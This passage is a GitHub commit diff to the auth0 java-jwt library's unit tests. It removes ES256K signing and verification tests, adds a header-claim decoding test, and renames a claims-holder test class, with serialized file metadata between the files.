         assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
     }
 
-    @Test
-    public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .sign(Algorithm.ECDSA256K(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
-    @Test
-    public void shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .withKeyId("real-key-id")
-                .sign(Algorithm.ECDSA256(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
     @Test
     public void shouldAddKeyIdIfAvailableFromECDSAAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256, "EC");u}(j7  (32db703e1de332e90f9234ff90c99c9cacf6b831j7  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj7  modifiedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -15,6 +15,7 @@
 import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
+import java.util.List;
 import java.util.Map;
 
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -347,6 +348,35 @@ public void shouldSerializeAndDeserialize() throws Exception {
                 is(equalTo(deserializedJwt.getClaims().get("extraClaim").asString())));
     }
 
+    @Test
+    public void shouldDecodeHeaderClaims() {
+        String jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImRhdGUiOjE2NDczNTgzMjUsInN0cmluZyI6InN0cmluZyIsImJvb2wiOnRydWUsImRvdWJsZSI6MTIzLjEyMywibGlzdCI6WzE2NDczNTgzMjVdLCJtYXAiOnsiZGF0ZSI6MTY0NzM1ODMyNSwiaW5zdGFudCI6MTY0NzM1ODMyNX0sImludCI6NDIsImxvbmciOjQyMDAwMDAwMDAsImluc3RhbnQiOjE2NDczNTgzMjV9.eyJpYXQiOjE2NDczNjA4ODF9.S2nZDM03ZDvLMeJLWOIqWZ9kmYHZUueyQiIZCCjYNL8";
+
+        Instant expectedInstant = Instant.ofEpochSecond(1647358325);
+        Date expectedDate = Date.from(expectedInstant);
+
+        DecodedJWT decoded = JWT.decode(jwt);
+        assertThat(decoded, is(notNullValue()));
+        assertThat(decoded.getHeaderClaim("date").asDate(), is(expectedDate));
+        assertThat(decoded.getHeaderClaim("instant").asInstant(), is(expectedInstant));
+        assertThat(decoded.getHeaderClaim("string").asString(), is("string"));
+        assertThat(decoded.getHeaderClaim("bool").asBoolean(), is(true));
+        assertThat(decoded.getHeaderClaim("double").asDouble(), is(123.123));
+        assertThat(decoded.getHeaderClaim("int").asInt(), is(42));
+        assertThat(decoded.getHeaderClaim("long").asLong(), is(4200000000L));
+
+        Map<String, Object> headerMap = decoded.getHeaderClaim("map").asMap();
+        assertThat(headerMap, is(notNullValue()));
+        assertThat(headerMap.size(), is(2));
+        assertThat(headerMap, hasEntry("date", 1647358325));
+        assertThat(headerMap, hasEntry("instant", 1647358325));
+
+        List<Object> headerList = decoded.getHeaderClaim("list").asList(Object.class);
+        assertThat(headerList, is(notNullValue()));
+        assertThat(headerList.size(), is(1));
+        assertThat(headerList, contains(1647358325));
+    }
+
     //Helper Methods
 
     private DecodedJWT customJWT(String jsonHeader, String jsonPayload, String signature) {u}(j7  (958e89fb4ce946054d7323dcec96ba266aa09e68j7  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj7  modifiedj7  K j7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X 	  @@ -28,11 +28,9 @@ public class JWTTest {
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
 
     private static final String PUBLIC_KEY_FILE_EC_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_512 = "src/test/resources/ec512-key-public.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_512 = "src/test/resources/ec512-key-private.pem";
 
@@ -493,25 +491,6 @@ public void shouldCreateAnEmptyECDSA256SignedToken() throws Exception {
         assertThat(verified, is(notNullValue()));
     }
 
-    @Test
-    public void shouldCreateAnEmptyECDSA256KSignedToken() throws Exception {
-        ECPublicKey publicKey = (ECPublicKey) PemUtils.readPublicKeyFromFile(PUBLIC_KEY_FILE_EC_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-
-        String signed = JWT.create().sign(Algorithm.ECDSA256K(publicKey, privateKey));
-        assertThat(signed, is(notNullValue()));
-
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("alg", "ES256K"));
-        assertThat(headerJson, JsonMatcher.hasEntry("typ", "JWT"));
-        assertThat(parts[1], is("e30"));
-
-        JWTVerifier verified = JWT.require(Algorithm.ECDSA256K(publicKey, privateKey))
-                .build();
-        assertThat(verified, is(notNullValue()));
-    }
-
     @Test
     public void shouldCreateAnEmptyECDSA384SignedToken() throws Exception {
         String signed = JWT.create().sign(Algorithm.ECDSA384((ECKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_384, "EC")));u}(j7  (e09661d3dc62b9fda10c178faa645e4531c68b1cj7  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javaj7  modifiedj7  K j7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -450,29 +450,6 @@ public void shouldCreateECDSA256AlgorithmWithProvider() {
         assertThat(algorithm.getName(), is("ES256"));
     }
 
-    @Test
-    public void shouldCreateECDSA256KAlgorithmWithBothKeys() {
-        ECPublicKey publicKey = mock(ECPublicKey.class);
-        ECPrivateKey privateKey = mock(ECPrivateKey.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-
-    @Test
-    public void shouldCreateECDSA256KAlgorithmWithProvider() {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-
     @Test
     public void shouldCreateECDSA384AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));u}(j7  (8634d419904f165beba8d1d6fa92d2afdff1aae3j7  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj7  modifiedj7  Kj7  Koj7  Kpj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  XO  @@ -39,11 +39,6 @@ public class ECDSAAlgorithmTest {
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public-invalid.pem";
     
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
-    private static final String ES256K_JWT = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.2ggPsc4xwQhYcgJueo3uQ14MpaVJ3AbEE8UE-wA9fc8SMibeW54gjZbikL-JBHqhEwc22Cp8DNOtadXsM81RGQ";
-    
     private static final String PRIVATE_KEY_FILE_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public-invalid.pem";
@@ -186,112 +181,7 @@ public void shouldFailECDSA256VerificationOnInvalidDERSignature() throws Excepti
         Algorithm algorithm = Algorithm.ECDSA256((ECKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256, "EC"));
         algorithm.verify(JWT.decode(jwt));
     }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
+
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String jwt = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";u}(j7  (14631798f50704b67fa7f3e9aa249de9d1b89f1bj7  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj7  modifiedj7  K j7  Kpj7  Kpj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  Xo  @@ -33,11 +33,6 @@
 import static org.mockito.Mockito.when;
 
 public class ECDSABouncyCastleProviderTests {
-    
-    
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
 
     private static final String PRIVATE_KEY_FILE_256 = "src/test/resources/ec256-key-private.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
@@ -78,113 +73,6 @@ public static void tearDown() {
     public void shouldPreferBouncyCastleProvider() {
         assertThat(Security.getProviders()[0], is(equalTo(bcProvider)));
     }
-
-    // Verify
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
     
     @Test
     public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {u}(j7  (2f053830821b194992e531d33c8203bb88338603j7  Alib/src/test/java/com/auth0/jwt/impl/PayloadClaimsHolderTest.javaj7  renamedj7  Kj7  Kj7  K	j7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -9,23 +9,22 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 
-public class ClaimsHolderTest {
+public class PayloadClaimsHolderTest {
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldGetClaims() {
         HashMap<String, Object> claims = new HashMap<>();
         claims.put("iss", "auth0");
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        ClaimsHolder holder = new PayloadClaimsHolder(claims);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));
-        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", (Object) "auth0")));
+        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", "auth0")));
     }
 
     @Test
     public void shouldGetNotNullClaims() {
-        ClaimsHolder holder = new ClaimsHolder(null);
+        ClaimsHolder holder = new PayloadClaimsHolder(null);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));previous_filename:lib/src/test/java/com/auth0/jwt/impl/ClaimsHolderTest.javau}(j7  (45761de0de14de2d9ceffddc396daf599d2c544ej7  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javaj7  modifiedj7  Kj7  Kj7  K<j7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  Xy.  @@ -11,8 +11,8 @@
 import java.io.StringWriter;
 import java.util.*;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 
 public class PayloadSerializerTest {
 
@@ -31,10 +31,9 @@ public void setUp() throws Exception {
         serializerProvider = mapper.getSerializerProvider();
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldSerializeEmptyMap() throws Exception {
-        ClaimsHolder holder = new ClaimsHolder(new HashMap<String, Object>());
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(new HashMap<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -43,7 +42,7 @@ public void shouldSerializeEmptyMap() throws Exception {
 
     @Test
     public void shouldSerializeStringAudienceAsString() throws Exception {
